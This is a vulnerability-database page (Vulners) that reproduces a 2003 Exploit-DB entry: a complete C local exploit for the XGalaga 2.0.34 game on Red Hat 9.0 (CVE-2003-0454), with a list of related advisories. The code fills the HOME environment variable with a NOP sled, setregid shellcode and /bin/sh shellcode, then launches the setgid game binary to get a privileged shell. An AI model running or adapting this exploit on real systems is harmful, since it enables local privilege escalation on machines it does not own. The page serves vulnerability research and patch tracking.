Lucene search
+L

XGalaga 2.0.34 (RedHat 9.0) - Local Game

🗓️ 31 Jul 2003 00:00:00Reported by c0wboyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 60 Views

Local exploit for XGalaga 2.0.34 on Red Hat 9.0, coded by c0wboy, tested successfully.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Debian GNU/Linux Local Compromise Data Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CAN-2003-0454
6 Aug 202410:32
–cve
cve
CVE
CVE-2003-0454
4 Jul 200304:00
–cve
cvelist
Cvelist
CVE-2003-0454
4 Jul 200304:00
–cvelist
debian
Debian
[SECURITY] [DSA-334-1] New xgalaga packages fix buffer overflow
29 Jun 200301:45
–debian
debiancve
Debian CVE
CVE-2003-0454
4 Jul 200304:00
–debiancve
nessus
Tenable Nessus
Debian DSA-334-1 : xgalaga - buffer overflows
29 Sep 200400:00
–nessus
euvd
EUVD
EUVD-2003-0448
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2003-0454
7 Aug 200304:00
–nvd
openvas
OpenVAS
Debian: Security Advisory (DSA-334)
17 Jan 200800:00
–openvas
Rows per page
/* 0x333xgalaga => XGalaga 2.0.34 local game exploit (Red Hat 9.0)
*
* tested against xgalaga-2.0.34-1.i386.rpm
* under Red Hat Linux 9.0
*
* - bug found by Steve Kemp
* - exploit coded by c0wboy @ 0x333
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/


#include <stdio.h>
#include <string.h>
#include <unistd.h>


#define BIN "/usr/X11R6/bin/xgalaga"
#define SIZE 264

#define RET 0xbffffe2c /* tested against Red Hat Linux 9.0 */
#define NOP 0x90


unsigned char shellcode[] =

/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"

/* exec /bin/sh shellcode */

"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


void banner (void);
void memret (char *, int, int, int);


void banner (void)
{
fprintf (stdout, "\n\n --- xgalaga local GAME exploit by c0wboy ---\n");
fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");
}


void memret (char *buffer, int ret, int size, int align)
{
int i;
int * ptr = (int *) (buffer + align);

for (i=0; i<size; i+=4)
*ptr++ = ret;

ptr = 0x0;
}


int main ()
{
int ret = RET;
char out[SIZE];

memret ((char *)out, ret, SIZE-1, 0);

memset ((char *)out, NOP, 33);
memcpy ((char *)out+33, shellcode, strlen(shellcode));

setenv ("HOME", out, 1);

banner ();
execl (BIN, BIN, "-scores", 0x0); // the switch "-scores" is necessary to exploit the game
}

// milw0rm.com [2003-07-31]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2003 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.03253
60